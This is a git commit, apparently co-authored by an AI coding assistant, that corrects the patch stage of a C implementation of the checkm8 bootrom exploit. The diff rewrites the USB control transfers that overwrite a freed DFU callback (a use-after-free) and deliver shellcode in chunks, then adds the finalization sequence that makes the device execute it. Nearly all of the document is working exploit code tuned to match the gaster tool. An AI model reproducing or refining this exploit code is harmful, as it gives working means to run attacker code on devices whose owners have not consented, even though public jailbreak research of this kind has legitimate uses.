fix(exploit): Correct patch stage callback overwrite and payload delivery

Fixed callback overwrite to use full USB timeout and verify STALL
response (LIBUSB_ERROR_PIPE) instead of async fire-and-forget.
Fixed payload delivery to use wValue=0 for all DFU_DNLOAD chunks
matching gaster (was incorrectly incrementing block numbers).
Removed spurious dfu_clr_status and usleep between overwrite and
payload send. Added proper finalization sequence: 16-byte suffix,
zero-length DFU_DNLOAD, and three GETSTATUS polls for manifest
state transitions, exactly matching gaster reference.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
tr4m0ryp 2026-04-05 03:32:53 +02:00
parent 0a02acd634
commit 5fa99730e6

View file

@ -2,7 +2,6 @@
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include <unistd.h>
#include "exploit/exploit.h" #include "exploit/exploit.h"
#include "exploit/checkm8.h" #include "exploit/checkm8.h"
@ -57,79 +56,137 @@ static void build_overwrite_armv7(dfu_callback_armv7_t *cb,
} }
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* Send overwrite via vendor-specific control request */ /* Send overwrite via control request (matching gaster exactly) */
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* /*
* send_overwrite -- Send the callback overwrite data to the device. * send_overwrite -- Send the callback overwrite data to the device.
* *
* Uses a control transfer with: * Matches gaster: send_usb_control_request(handle, 2, 3, 0, 0x80, ...)
* bmRequestType = 0x02 (host-to-device, standard, endpoint) * bmRequestType = 0x02 (host-to-device, standard, endpoint)
* bRequest = 0x03 (SET_FEATURE) * bRequest = 0x03
* wValue = 0 * wValue = 0
* wIndex = 0x80 (endpoint 0, IN direction) * wIndex = 0x80
* *
* This overwrites the freed DFU callback structure from the UAF. * The transfer must STALL -- that confirms the overwrite landed in
* The device will STALL, which is expected. * the freed io_buffer region. Uses the full USB timeout (not async)
* so we can check the STALL return code, matching gaster behavior.
*/ */
static int send_overwrite(libusb_device_handle *usb, static int send_overwrite(libusb_device_handle *usb,
const void *data, size_t len) const void *data, size_t len)
{ {
int ret; int ret;
ret = usb_ctrl_transfer_async(usb, 0x02, 0x03, 0, 0x80, ret = usb_ctrl_transfer(usb, 0x02, 0x03, 0, 0x80,
(unsigned char *)(uintptr_t)data, (unsigned char *)(uintptr_t)data,
(uint16_t)len, STALL_TIMEOUT_MS); (uint16_t)len, USB_TIMEOUT_MS);
if (ret != 0) {
log_error("send_overwrite: control transfer failed"); /*
return -1; * Gaster checks: transfer_ret.ret == USB_TRANSFER_STALL
* libusb returns LIBUSB_ERROR_PIPE for a STALL.
*/
if (ret == LIBUSB_ERROR_PIPE) {
log_debug("send_overwrite: STALL received (expected), "
"%zu bytes sent", len);
return 0;
} }
log_debug("send_overwrite: sent %zu bytes to EP0 (expect STALL)", len); /* Any other result (including success) is unexpected */
return 0; log_error("send_overwrite: expected STALL, got %d (%s)",
ret, libusb_strerror(ret));
return -1;
} }
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* Send payload in DFU_MAX_TRANSFER_SZ chunks */ /* Send payload in DFU_MAX_TRANSFER_SZ chunks */
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/*
* send_payload_chunks -- Send payload data via DFU_DNLOAD.
*
* Matches gaster exactly: all chunks use wValue=0 (block number 0).
* Gaster does NOT increment the block number between chunks:
* send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, ...)
*
* Uses raw usb_ctrl_transfer instead of dfu_dnload() to avoid the
* latter's block-number parameter being passed as wValue.
*/
static int send_payload_chunks(libusb_device_handle *usb, static int send_payload_chunks(libusb_device_handle *usb,
const uint8_t *payload, size_t payload_len) const uint8_t *payload, size_t payload_len)
{ {
size_t offset = 0; size_t offset = 0;
size_t chunk; size_t chunk;
uint16_t block = 0; int ret;
while (offset < payload_len) { while (offset < payload_len) {
chunk = payload_len - offset; chunk = payload_len - offset;
if (chunk > DFU_MAX_TRANSFER_SZ) if (chunk > DFU_MAX_TRANSFER_SZ)
chunk = DFU_MAX_TRANSFER_SZ; chunk = DFU_MAX_TRANSFER_SZ;
if (dfu_dnload(usb, block, payload + offset, chunk) != 0) { /* bmRequestType=0x21, bRequest=DFU_DNLOAD(1), wValue=0, wIndex=0 */
log_error("send_payload_chunks: block %u (offset %zu) failed", ret = usb_ctrl_transfer(usb, 0x21, DFU_REQ_DNLOAD, 0, 0,
block, offset); (unsigned char *)(uintptr_t)(payload + offset),
(uint16_t)chunk, USB_TIMEOUT_MS);
if (ret < 0) {
log_error("send_payload_chunks: offset %zu failed: %s",
offset, libusb_strerror(ret));
return -1; return -1;
} }
offset += chunk; offset += chunk;
block++;
} }
log_debug("send_payload_chunks: sent %zu bytes in %u blocks", log_debug("send_payload_chunks: sent %zu bytes total", payload_len);
payload_len, block);
return 0; return 0;
} }
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* Send DFU file suffix (16 zero bytes to finalize) */ /* Finalize DFU transfer (suffix + zero-length + status checks) */
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
static int send_dfu_suffix(libusb_device_handle *usb) /*
* send_dfu_finalize -- Finalize the DFU download matching gaster:
*
* 1. Send DFU_FILE_SUFFIX_LEN (16) zero bytes via DFU_DNLOAD wValue=0
* (send_usb_control_request_no_data allocates zeroed buffer)
* 2. Send zero-length DFU_DNLOAD wValue=0
* 3. Check status: expect MANIFEST_SYNC, MANIFEST, MANIFEST_WAIT_RESET
*/
static int send_dfu_finalize(libusb_device_handle *usb)
{ {
uint8_t suffix[DFU_FILE_SUFFIX_LEN]; uint8_t suffix[DFU_FILE_SUFFIX_LEN];
dfu_status_t st;
int ret;
/* Step 1: 16 zero bytes as DFU_DNLOAD, wValue=0, wIndex=0 */
memset(suffix, 0, sizeof(suffix)); memset(suffix, 0, sizeof(suffix));
return dfu_dnload(usb, 0, suffix, DFU_FILE_SUFFIX_LEN); ret = usb_ctrl_transfer(usb, 0x21, DFU_REQ_DNLOAD, 0, 0,
suffix, DFU_FILE_SUFFIX_LEN, USB_TIMEOUT_MS);
if (ret < 0) {
log_debug("send_dfu_finalize: suffix send failed: %s",
libusb_strerror(ret));
}
/* Step 2: Zero-length DFU_DNLOAD, wValue=0, wIndex=0 */
ret = usb_ctrl_transfer_no_data(usb, 0x21, DFU_REQ_DNLOAD,
0, 0, USB_TIMEOUT_MS);
if (ret < 0) {
log_debug("send_dfu_finalize: zero-length send failed: %s",
libusb_strerror(ret));
}
/* Step 3: Three status checks (MANIFEST_SYNC, MANIFEST, WAIT_RESET) */
if (dfu_get_status(usb, &st) == 0) {
log_debug("send_dfu_finalize: status1 state=0x%02X", st.bState);
}
if (dfu_get_status(usb, &st) == 0) {
log_debug("send_dfu_finalize: status2 state=0x%02X", st.bState);
}
if (dfu_get_status(usb, &st) == 0) {
log_debug("send_dfu_finalize: status3 state=0x%02X", st.bState);
}
return 0;
} }
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
@ -140,7 +197,6 @@ int checkm8_stage_patch(exploit_ctx_t *ctx)
{ {
libusb_device_handle *usb; libusb_device_handle *usb;
const chip_info_t *chip; const chip_info_t *chip;
dfu_status_t status;
if (!ctx || !ctx->dev || !ctx->chip) if (!ctx || !ctx->dev || !ctx->chip)
return -1; return -1;
@ -159,8 +215,10 @@ int checkm8_stage_patch(exploit_ctx_t *ctx)
/* /*
* Step 1: Build and send the callback overwrite. * Step 1: Build and send the callback overwrite.
* This overwrites the freed DFU callback structure with our *
* controlled data, redirecting execution to our payload. * Gaster sends the overwrite via bmRequestType=2, bRequest=3,
* wValue=0, wIndex=0x80 and expects a STALL response.
* No status clearing or delays between overwrite and payload.
*/ */
if (CPID_IS_ARMV7(chip->cpid)) { if (CPID_IS_ARMV7(chip->cpid)) {
dfu_callback_armv7_t cb; dfu_callback_armv7_t cb;
@ -174,13 +232,11 @@ int checkm8_stage_patch(exploit_ctx_t *ctx)
return -1; return -1;
} }
/* Step 2: Expect STALL after overwrite, clear it */
dfu_clr_status(usb);
usleep(STAGE_DELAY_USEC);
/* /*
* Step 3: Send the payload (header + shellcode) in * Step 2: Send the payload (header + shellcode) in
* DFU_MAX_TRANSFER_SZ chunks via DFU_DNLOAD. * DFU_MAX_TRANSFER_SZ chunks via DFU_DNLOAD with wValue=0.
* Gaster sends payload immediately after overwrite STALL --
* no dfu_clr_status, no delay.
*/ */
if (send_payload_chunks(usb, ctx->payload_buf, if (send_payload_chunks(usb, ctx->payload_buf,
ctx->payload_len) != 0) { ctx->payload_len) != 0) {
@ -188,19 +244,12 @@ int checkm8_stage_patch(exploit_ctx_t *ctx)
return -1; return -1;
} }
/* Step 4: Finalize with DFU_FILE_SUFFIX_LEN suffix */ /*
if (send_dfu_suffix(usb) != 0) { * Step 3: Finalize -- 16-byte suffix, zero-length DNLOAD,
log_debug("checkm8_stage_patch: suffix send failed (may be ok)"); * then three status checks (MANIFEST_SYNC -> MANIFEST ->
} * MANIFEST_WAIT_RESET), exactly as gaster does.
*/
/* Poll status to trigger execution of the overwritten callback */ send_dfu_finalize(usb);
if (dfu_get_status(usb, &status) != 0) {
log_debug("checkm8_stage_patch: status poll failed "
"(expected if payload redirected execution)");
}
/* Delay for shellcode to execute and patch the serial string */
usleep(STAGE_DELAY_USEC * 5);
ctx->phase = EXPLOIT_PHASE_PATCH; ctx->phase = EXPLOIT_PHASE_PATCH;
log_info("checkm8: stage 4 complete -- payload delivered"); log_info("checkm8: stage 4 complete -- payload delivered");